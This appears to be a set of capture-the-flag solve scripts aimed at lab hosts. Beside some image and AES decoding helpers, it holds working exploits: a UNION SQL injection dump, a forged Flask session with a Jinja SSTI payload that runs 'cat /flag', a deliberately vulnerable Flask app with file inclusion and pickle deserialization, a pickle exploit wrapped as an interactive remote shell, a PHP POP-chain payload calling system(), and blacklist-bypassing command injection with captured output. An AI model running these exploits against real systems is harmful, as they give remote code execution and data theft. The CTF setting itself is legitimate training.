from PIL import Image
import math

def extract_pixels(input_file, output_file, rules):
    try:
        # 打开源图像
        src_img = Image.open(input_file)
        src_img = src_img.convert("RGB") # 确保是RGB模式
        width, height = src_img.size
        
        # 获取规则参数
        block = rules.get("block", 1)
        start_x = rules.get("start_x", 0)
        start_y = rules.get("start_y", 0)
        step_x = rules.get("step_x", 1)
        step_y = rules.get("step_y", 1)
        out_cols = rules.get("column_num", 100)
        
        extracted_pixels = []

        # 遍历源图像提取像素
        # 假设按行优先顺序扫描 (先X后Y)
        # 注意：这里采用了两层循环遍历整个图，按照步长提取
        for y in range(start_y, height, step_y):
            for x in range(start_x, width, step_x):
                # 检查边界
                if x + block <= width and y + block <= height:
                    # 获取像素 (这里处理 block=1 的情况，直接取点)
                    # 如果 block > 1，通常需要决定如何处理块（取平均值或左上角），这里默认取左上角像素
                    pixel = src_img.getpixel((x, y))
                    extracted_pixels.append(pixel)

        # 计算输出图像的高度
        total_pixels = len(extracted_pixels)
        if total_pixels == 0:
            print("未提取到任何像素，请检查规则和图像尺寸。")
            return

        out_rows = math.ceil(total_pixels / out_cols)
        
        # 创建新的空白图像
        out_img = Image.new("RGB", (out_cols, out_rows), (0, 0, 0))
        
        # 填充像素
        for i, pixel in enumerate(extracted_pixels):
            x = i % out_cols
            y = i // out_cols
            out_img.putpixel((x, y), pixel)
            
        # 保存输出图像
        out_img.save(output_file)
        print(f"成功提取 {total_pixels} 个像素，已保存至 {output_file}")
        print(f"输出尺寸: {out_cols} x {out_rows}")

    except FileNotFoundError:
        print(f"错误: 找不到文件 {input_file}")
    except Exception as e:
        print(f"发生错误: {e}")

# 定义规则
params = {
    "block": 1,
    "start_x": 10,
    "start_y": 10,
    "step_x": 7,
    "step_y": 7,
    "column_num": 450
}

# 运行提取
if __name__ == "__main__":
    extract_pixels("shiori.png", "output.png", params)

import hashlib
import binascii
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding

# 配置参数
SALT = b"Hidden_Salt_Value"
IV = b"Dynamic_IV_2026!"

# 映射表 (Masked -> Hex)
reverse_mapping = {
    'h': 'a', 'x': '5', 'n': '1', 'v': '3', 'j': '9', 'l': '7', 'k': '8', 'c': '4', 
    'g': 'b', 'z': '6', 's': 'e', 'y': 'f', 'b': '2', 'm': '0', 'f': 'c',
    'd': 'd' 
}

def get_key(uid):
    if isinstance(uid, str): uid = uid.encode()
    return hashlib.pbkdf2_hmac('sha1', uid, SALT, 1000, 16)

def decrypt_user_data(masked_data, uid):
    # 1. 反混淆: Masked String -> Hex String
    try:
        hex_data = "".join([reverse_mapping[c] for c in masked_data])
    except KeyError as e:
        return f"Error: Unknown character {e}"
    
    # 2. AES 解密
    key = get_key(str(uid))
    cipher = Cipher(algorithms.AES(key), modes.CBC(IV), backend=default_backend())
    decryptor = cipher.decryptor()
    
    try:
        ciphertext = binascii.unhexlify(hex_data)
        padded_plaintext = decryptor.update(ciphertext) + decryptor.finalize()
        
        # 3. 去除 Padding
        unpadder = padding.PKCS7(128).unpadder()
        plaintext = unpadder.update(padded_plaintext) + unpadder.finalize()
        return plaintext.decode()
    except Exception as e:
        return f"Decryption failed: {e}"

# 目标数据 (User 1088)
target_masked = "nhyxzgccnvcbnkjdfbmkvymmgzvdknlmdjgmfbbzmgxgyfcxcjxnygyklhmhvflbdckdsdxyxjknchxjmcyzsmjgdfmzkgkc"
flag = decrypt_user_data(target_masked, 1088)

print(f"Flag: {flag}")

log_data = ""

import re
import urllib.parse

# Function to parse and decode the log
def decode_sqli(logs):
    db_chars = {}
    table_chars = {}
    col_chars = {}
    flag_chars = {}
    
    # Iterate over lines
    for line in logs.strip().split('\n'):
        # Decode URL encoding
        decoded_line = urllib.parse.unquote(line)
        
        # Check for Database name extraction
        # ASCII(SUBSTRING(DATABASE(),1,1))=115
        db_match = re.search(r"ASCII\(SUBSTRING\(DATABASE\(\),(\d+),1\)\)=(\d+)", decoded_line)
        if db_match:
            idx = int(db_match.group(1))
            val = int(db_match.group(2))
            db_chars[idx] = chr(val)
            continue
            
        # Check for Table name extraction
        # ASCII(SUBSTRING(table_name,1,1))...
        tbl_match = re.search(r"ASCII\(SUBSTRING\(table_name,(\d+),1\)\).*=(\d+)", decoded_line)
        if tbl_match:
            idx = int(tbl_match.group(1))
            val = int(tbl_match.group(2))
            table_chars[idx] = chr(val)
            continue

        # Check for Column name extraction
        col_match = re.search(r"ASCII\(SUBSTRING\(column_name,(\d+),1\)\).*=(\d+)", decoded_line)
        if col_match:
            idx = int(col_match.group(1))
            val = int(col_match.group(2))
            col_chars[idx] = chr(val)
            continue

        # Check for Flag extraction
        # ASCII(SUBSTRING(flag,1,1))... = 102
        flag_match = re.search(r"ASCII\(SUBSTRING\(flag,(\d+),1\)\).*=(\d+)", decoded_line)
        if flag_match:
            idx = int(flag_match.group(1))
            val = int(flag_match.group(2))
            flag_chars[idx] = chr(val)
            continue
            
    return db_chars, table_chars, col_chars, flag_chars

db, tbl, col, flg = decode_sqli(log_data)

def assemble(chars_dict):
    keys = sorted(chars_dict.keys())
    return "".join([chars_dict[k] for k in keys])

print("Database:", assemble(db))
print("Table:", assemble(tbl))
print("Column:", assemble(col))
print("Flag:", assemble(flg))

import requests

TARGET_URL = "https://eci-2zeco2wi1ovb892it5ot.cloudeci1.ichunqiu.com:5000/api/search"

def dump_all():
    # Schema: key, value
    payload = "' UNION SELECT key, value FROM config -- "
    try:
        r = requests.get(TARGET_URL, params={'q': payload}, verify=False)
        data = r.json().get('data', [])
        
        print("\n[+] Config Table Dump:")
        for row in data:
            print(f"    {row[0]} : {row[1]}")
            
    except Exception as e:
        print(e)

dump_all()

import requests
import zipfile
import io
import re
import hashlib
from itsdangerous import URLSafeTimedSerializer
from flask.json.tag import TaggedJSONSerializer

def sign_session(data, secret_key):
    serializer = URLSafeTimedSerializer(
        secret_key, 
        salt='cookie-session',
        serializer=TaggedJSONSerializer(),
        signer_kwargs={'key_derivation': 'hmac', 'digest_method': hashlib.sha1}
    )
    return serializer.dumps(data)

SECRET_KEY = "z51xSTEAmphG7CIYF8dN7Rc0LtjAIeHg"
TARGET_URL = "https://eci-2zeco2wi1ovb892it5ot.cloudeci1.ichunqiu.com:5000"

def pwn_final_v2():
    cookies = {'session': sign_session({'is_admin': True}, SECRET_KEY)}
    
    print("[*] Creating Malicious ZIP...")
    # SSTI Payload
    payload = """
    {{ self.__init__.__globals__['__buil'+'tins__']['__imp'+'ort__']('o'+'s')['po'+'pen']('c'+'at /fl'+'ag')['re'+'ad']() }}
    """

    zip_buffer = io.BytesIO()
    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
        # 为了保险，我们在 index.html 和 layout.html 里都放 Payload
        zf.writestr('index.html', payload)
        zf.writestr('layout.html', payload)
        zf.writestr('base.html', payload) # 还有 base.html
        zf.writestr('theme.json', '{"name": "Pwn", "version": "1.0"}')
    zip_buffer.seek(0)
    
    files = {'file': ('pwn.zip', zip_buffer, 'application/zip')}
    
    print("[*] Uploading...")
    r = requests.post(f"{TARGET_URL}/admin/upload", files=files, cookies=cookies, verify=False)
    print(f"    Raw Response: {r.text}")
    
    # 提取 UUID Theme ID
    match = re.search(r'"theme_id":"([a-f0-9\-]+)"', r.text)
    if match:
        theme_id = match.group(1)
        print(f"[+] Got Theme ID: {theme_id}")
        
        # Render
        print(f"[*] Rendering {theme_id}...")
        r = requests.get(f"{TARGET_URL}/admin/theme/render", params={'id': theme_id}, cookies=cookies, verify=False)
        print("\n" + r.text)
        
        if "pascalCTF" in r.text:
            flag = re.search(r"pascalCTF\{.*?\}", r.text).group(0)
            print(f"\n[!!!] FLAG: {flag}")
    else:
        print("[-] Failed to extract Theme ID.")

if __name__ == "__main__":
    pwn_final_v2()

import base64
import pickle
import os
from flask import Flask, request, render_template_string, abort

app = Flask(__name__)

# 创建默认的帮助文档（文案改为严肃风格）
if not os.path.exists("help.txt"):
    with open("help.txt", "w") as f:
        f.write("System Documentation v2.1\n\nUsage:\n- Send base64 encoded Python serialized objects to the /process endpoint.\n- Ensure all data is signed and verified before submission.\n- For internal use only.")

HTML_TEMPLATE = """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Secure Data Processing System</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <style>
        /* 企业级深色风格 */
        body { background-color: #1e1e1e; color: #d4d4d4; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; }
        .navbar { background-color: #007acc; border-bottom: 1px solid #005a9e; }
        .card { background-color: #252526; border: 1px solid #3e3e42; }
        .btn-primary { background-color: #0e639c; border-color: #0e639c; }
        .btn-primary:hover { background-color: #1177bb; border-color: #1177bb; }
        .form-control { background-color: #3c3c3c; border: 1px solid #3e3e42; color: #cccccc; }
        .form-control:focus { background-color: #3c3c3c; color: #ffffff; border-color: #007acc; box-shadow: none; }
        .text-muted { color: #858585 !important; }
        a { text-decoration: none; color: #3794ff; }
        a:hover { text-decoration: underline; }
        h5 { color: #ffffff; }
    </style>
</head>
<body>
    <nav class="navbar navbar-expand-lg navbar-dark mb-4">
        <div class="container">
            <a class="navbar-brand" href="#">🛡️ Secure Data Gateway <span style="font-size:0.7em; opacity:0.8;">Internal Build 2.1.0</span></a>
        </div>
    </nav>

    <div class="container mt-4">
        <div class="row justify-content-center">
            <div class="col-md-8">
                <div class="card shadow-lg">
                    <div class="card-header">
                        <h5 class="mb-0">Data Ingestion Interface</h5>
                    </div>
                    <div class="card-body">
                        <p class="card-text text-muted">
                            This interface is restricted to authorized personnel.
                            The system processes serialized data streams for backend analysis.
                            <br><br>
                            For parameter specifications, please refer to the <a href="/help?file=help.txt">System Documentation</a>.
                        </p>

                        <form action="/process" method="POST" target="_blank">
                            <div class="mb-3">
                                <label for="dataInput" class="form-label text-white">Payload Input (Base64)</label>
                                <textarea class="form-control" id="dataInput" name="data" rows="6" placeholder="Paste encoded serialized object here..."></textarea>
                            </div>
                            <div class="d-flex justify-content-end">
                                <button type="submit" class="btn btn-primary px-4">Process Data</button>
                            </div>
                        </form>
                    </div>
                    <div class="card-footer text-muted" style="font-size: 0.8rem; border-top: 1px solid #3e3e42;">
                        Server Status: <span style="color: #4ec9b0;">● Online</span> | Node: <strong>worker-01</strong> | Environment: <strong>Production</strong>
                    </div>
                </div>
            </div>
        </div>
    </div>
</body>
</html>
"""

@app.route('/')
def index():
    return render_template_string(HTML_TEMPLATE)

# === 漏洞点 1: LFI (文件包含) ===
# 看起来是查看帮助文档的功能
@app.route('/help')
def help_page():
    filename = request.args.get('file')
    if not filename:
        return "Error: Missing file parameter."

    try:
        # LFI 漏洞：没有过滤 ../ 或绝对路径
        with open(filename, 'r') as f:
            content = f.read()

        return f"""
        <div style="background:#1e1e1e; color:#d4d4d4; padding:20px; font-family:monospace;">
            <h3 style="color:#007acc;">📄 {filename}</h3>
            <div style="border:1px solid #3e3e42; padding:15px; background:#252526; white-space: pre-wrap;">{content}</div>
            <br>
            <button onclick="history.back()" style="background:#3e3e42; color:white; border:none; padding:8px 16px; cursor:pointer;">&larr; Return</button>
        </div>
        """
    except Exception as e:
        return f"System Error: Unable to retrieve document. {str(e)}"

# === 漏洞点 2: Pickle 反序列化 ===
# 隐藏的 RCE 接口
@app.route('/process', methods=['POST'])
def process():
    data = request.form.get('data')
    if data:
        try:
            decoded = base64.b64decode(data)
            # RCE 触发点
            obj = pickle.loads(decoded)
            return f"System Message: Object of type <{type(obj).__name__}> processed successfully."
        except Exception as e:
            return f"Processing Error: {str(e)}"
    return "Error: No data received."

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

import requests
import pickle
import base64 as b64
import urllib3
import re

urllib3.disable_warnings()

TARGET_URL = "https://eci-2ze10dnbcv4zrvggnn1b.cloudeci1.ichunqiu.com:5000"

def send_eval(code):
    class Evil:
        def __reduce__(self):
            return (eval, (code,))
    payload = b64.b64encode(pickle.dumps(Evil())).decode()
    try:
        r = requests.post(f"{TARGET_URL}/process", data={'data': payload}, verify=False, timeout=10)
        # 修复：匹配单引号（因为 .decode() 返回 str，不是 bytes）
        match = re.search(r"base 10: (?:b)?'(.*?)'", r.text, re.DOTALL)
        if match:
            return match.group(1)
        # 调试用
        # print("DEBUG:", repr(r.text[:200]))
        return None
    except Exception as e:
        print("ERROR:", e)
        return None

def run_command_and_get_output(cmd):
    """执行任意 shell 命令，通过 base64 安全回显"""
    full_b64 = ""
    chunk_size = 80
    offset = 0
    while True:
        # 执行命令并 base64 编码输出
        wrapper = f"__import__('subprocess').check_output({cmd!r}, shell=True, stderr=__import__('subprocess').STDOUT)"
        code = f"__import__('base64').b64encode({wrapper}).decode()[{offset}:{offset+chunk_size}]"
        raw = send_eval(f"int({code})")
        if not raw:
            break
        full_b64 += raw
        if len(raw) < chunk_size:
            break
        offset += chunk_size
    if full_b64:
        try:
            output = b64.b64decode(full_b64).decode('utf-8', errors='replace')
            print(output, end='')
        except Exception as e:
            print(f"[!] Decode error: {e}")
    else:
        print("[!] No output or command failed.")

if __name__ == "__main__":
    print("[*] Interactive shell (type 'exit' to quit)")
    while True:
        try:
            cmd = input("$ ")
            if cmd.strip().lower() == "exit":
                break
            run_command_and_get_output(cmd)
        except KeyboardInterrupt:
            break

import requests
import urllib3

# Disable SSL warnings for CTF targets with self-signed/invalid certs
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Target URL provided
TARGET_URL = "https://eci-2zej713m5affsnr9havk.cloudeci1.ichunqiu.com:80/"

def generate_payload(command):
    """
    Generates the PHP serialized payload for the POP chain.
    Chain: EntryPoint -> MiddleMan -> CmdExecutor -> system(cmd)
    """
    # 1. Construct CmdExecutor serialized string
    # O:11:"CmdExecutor":1:{s:3:"cmd";s:LEN:"COMMAND";}
    cmd_len = len(command)
    cmd_executor = f'O:11:"CmdExecutor":1:{{s:3:"cmd";s:{cmd_len}:"{command}";}}'
    
    # 2. Construct MiddleMan serialized string
    # MiddleMan has property 'obj' which holds the CmdExecutor
    middle_man = f'O:9:"MiddleMan":1:{{s:3:"obj";{cmd_executor}}}'
    
    # 3. Construct EntryPoint serialized string
    # EntryPoint has property 'worker' which holds the MiddleMan
    entry_point = f'O:10:"EntryPoint":1:{{s:6:"worker";{middle_man}}}'
    
    return entry_point

def send_exploit(command):
    payload = generate_payload(command)
    print(f"[*] Payload: {payload}")
    
    try:
        # Sending request with verify=False because of potential SSL issues in CTF env
        response = requests.get(TARGET_URL, params={'payload': payload}, verify=False, timeout=10)
        
        # The PHP script prints the highlight_file content first, 
        # but system() output usually appears at the very end or mixed in.
        # We try to separate valid output if possible, otherwise print all.
        filtered_output = response.text[3252:]
        print(f"[*] Output for '{command}':")
        print("-" * 50)
        print(filtered_output.strip())
        print("-" * 50)
        
    except requests.exceptions.RequestException as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    send_exploit("env")

import requests
URL = "https://eci-2zeh260sorxg93mljg8l.cloudeci1.ichunqiu.com/api.php"
data = {"target": "127.0.0.1|ls"}
response = requests.post(URL, data=data)
print(response.text)

# {"status":"success","output":0,"debug":"api.php\nassets\nindex.php\n"}

import requests
URL = "https://eci-2zeh260sorxg93mljg8l.cloudeci1.ichunqiu.com/api.php"
data = {"target": "127.0.0.1|grep$IFS$9-r$IFS$9."}
response = requests.post(URL, data=data)
res_json = response.json()
print(res_json['debug'])

# assets/style.css:body {
# assets/style.css:    background-color: #0f0f12;
# assets/style.css:    color: #e0e0e0;
# assets/style.css:    font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
# assets/style.css:    margin: 0;
# assets/style.css:    padding: 20px;
# assets/style.css:}
# assets/style.css:header {
# assets/style.css:    display: flex;
# assets/style.css:    justify-content: space-between;
# assets/style.css:    align-items: center;
# assets/style.css:    border-bottom: 2px solid #2c2c35;
# assets/style.css:    padding-bottom: 20px;
# assets/style.css:    margin-bottom: 30px;
# assets/style.css:}
# assets/style.css:.status-ok { color: #00ff88; text-shadow: 0 0 10px #00ff88; }
# assets/style.css:.grid-container {
# assets/style.css:    display: grid;
# assets/style.css:    grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
# assets/style.css:    gap: 20px;
# assets/style.css:}
# assets/style.css:.card {
# assets/style.css:    background: #1a1a20;
# assets/style.css:    border: 1px solid #2c2c35;
# assets/style.css:    border-radius: 8px;
# assets/style.css:    padding: 20px;
# assets/style.css:    box-shadow: 0 4px 6px rgba(0,0,0,0.3);
# assets/style.css:}
# assets/style.css:h3 { margin-top: 0; color: #888; font-size: 0.9em; text-transform: uppercase; }
# assets/style.css:.metric { font-size: 2.5em; font-weight: bold; margin: 10px 0; }
# assets/style.css:.sub-text { color: #555; font-size: 0.8em; }
# assets/style.css:#ping-status { font-size: 0.8em; color: #00aaff; margin-top: 10px; }
# assets/script.js:const ctx = document.getElementById('latencyChart').getContext('2d');
# assets/script.js:const chart = new Chart(ctx, {
# assets/script.js:    type: 'line',
# assets/script.js:    data: {
# assets/script.js:        labels: ['0s', '3s', '6s', '9s', '12s'],
# assets/script.js:        datasets: [{
# assets/script.js:            label: 'Latency (Google DNS)',
# assets/script.js:            data: [12, 19, 15, 17, 14],
# assets/script.js:            borderColor: '#00aaff',
# assets/script.js:            tension: 0.4
# assets/script.js:        }]
# assets/script.js:    },
# assets/script.js:    options: { responsive: true }
# assets/script.js:});
# assets/script.js:
# assets/script.js:function checkSystemLatency() {
# assets/script.js:    const statusDiv = document.getElementById('ping-status');
# assets/script.js:
# assets/script.js:    const formData = new FormData();
# assets/script.js:    formData.append('target', '8.8.8.8');
# assets/script.js:
# assets/script.js:    fetch('api.php', {
# assets/script.js:        method: 'POST',
# assets/script.js:        body: formData
# assets/script.js:    })
# assets/script.js:    .then(response => response.json())
# assets/script.js:    .then(data => {
# assets/script.js:        if(data.status === 'success') {
# assets/script.js:            statusDiv.innerText = `Last check: ${data.output} ms`;
# assets/script.js:        } else {
# assets/script.js:            console.warn('Monitor Error:', data.message);
# assets/script.js:        }
# assets/script.js:    })
# assets/script.js:    .catch(err => console.error('API Error', err));
# assets/script.js:}
# assets/script.js:
# assets/script.js:setInterval(checkSystemLatency, 5000);
# api.php:<?php
# api.php:error_reporting(0);
# api.php:header('Content-Type: application/json');
# api.php:
# api.php:if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['target'])) {
# api.php:    $target = $_POST['target'];
# api.php:
# api.php:
# api.php:    $blacklist = "/ |\/|\*|\?|<|>|cat|more|less|head|tail|tac|nl|od|vi|vim|sort|uniq|flag|base64|python|bash|sh/i";
# api.php:
# api.php:    if (preg_match($blacklist, $target)) {
# api.php:        echo json_encode([
# api.php:            'status' => 'error',
# api.php:            'message' => 'Security Alert: Malicious input detected.'
# api.php:        ]);
# api.php:        exit;
# api.php:    }
# api.php:
# api.php:
# api.php:    $cmd = "ping -c 1 " . $target;
# api.php:
# api.php:
# api.php:    $output = shell_exec($cmd);
# api.php:
# api.php:
# api.php:    if ($output) {
# api.php:        preg_match("/time=([0-9.]+) ms/", $output, $matches);
# api.php:        $time = isset($matches[1]) ? $matches[1] : 0;
# api.php:
# api.php:        echo json_encode([
# api.php:            'status' => 'success',
# api.php:            'output' => $time,
# api.php:            'debug' => $output
# api.php:        ]);
# api.php:    } else {
# api.php:        echo json_encode(['status' => 'error', 'message' => 'Host unreachable']);
# api.php:    }
# api.php:} else {
# api.php:    echo json_encode(['status' => 'error', 'message' => 'Invalid Request']);
# api.php:}
# api.php:?>
# index.php:<!DOCTYPE html>
# index.php:<html lang="en">
# index.php:<head>
# index.php:    <meta charset="UTF-8">
# index.php:    <meta name="viewport" content="width=device-width, initial-scale=1.0">
# index.php:    <title>S.H.I.E.L.D. Server Monitor</title>
# index.php:    <link rel="stylesheet" href="assets/style.css">
# index.php:    <script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
# index.php:</head>
# index.php:<body>
# index.php:    <div class="dashboard">
# index.php:        <header>
# index.php:            <h1>SYSTEM STATUS: <span class="status-ok">ONLINE</span></h1>
# index.php:            <div class="user-info">admin@internal.net</div>
# index.php:        </header>
# index.php:
# index.php:        <div class="grid-container">
# index.php:            <div class="card">
# index.php:                <h3>CPU Usage</h3>
# index.php:                <div class="metric">12%</div>
# index.php:                <div class="sub-text">Stable</div>
# index.php:            </div>
# index.php:            <div class="card">
# index.php:                <h3>Memory</h3>
# index.php:                <div class="metric">4.2 GB</div>
# index.php:                <div class="sub-text">/ 16 GB</div>
# index.php:            </div>
# index.php:            <div class="card">
# index.php:                <h3>Network Latency (ms)</h3>
# index.php:                <canvas id="latencyChart"></canvas>
# index.php:                <div class="status-indicator" id="ping-status">Updating...</div>
# index.php:            </div>
# index.php:            <div class="card">
# index.php:                <h3>Active Nodes</h3>
# index.php:                <div class="metric">4</div>
# index.php:                <div class="sub-text">Cluster A</div>
# index.php:            </div>
# index.php:        </div>
# index.php:    </div>
# index.php:
# index.php:    <script src="assets/script.js"></script>
# index.php:</body>
# index.php:</html>

import requests
URL = "https://eci-2zeh260sorxg93mljg8l.cloudeci1.ichunqiu.com/api.php"
data = {"target": "127.0.0.1|cd$IFS$9..;cd$IFS$9..;cd$IFS$9..;cd$IFS$9..;ls"}
response = requests.post(URL, data=data)
res_json = response.json()
print(res_json['debug'])

# bin
# boot
# dev
# etc
# flag
# home
# lib
# lib32
# lib64
# libx32
# media
# mnt
# opt
# proc
# root
# run
# sbin
# srv
# start.sh
# sys
# tmp
# usr
# var

import requests
URL = "https://eci-2zeh260sorxg93mljg8l.cloudeci1.ichunqiu.com/api.php"
data = {"target": "127.0.0.1|cd$IFS$9;cd$IFS$9..;cd$IFS$9..;cd$IFS$9..;grep$IFS$9.$IFS$9fl[a]g"}
response = requests.post(URL, data=data)
res_json = response.json()
print(res_json['debug'])

# flag{f82a3122-2866-46e3-a249-a92348bdbd20}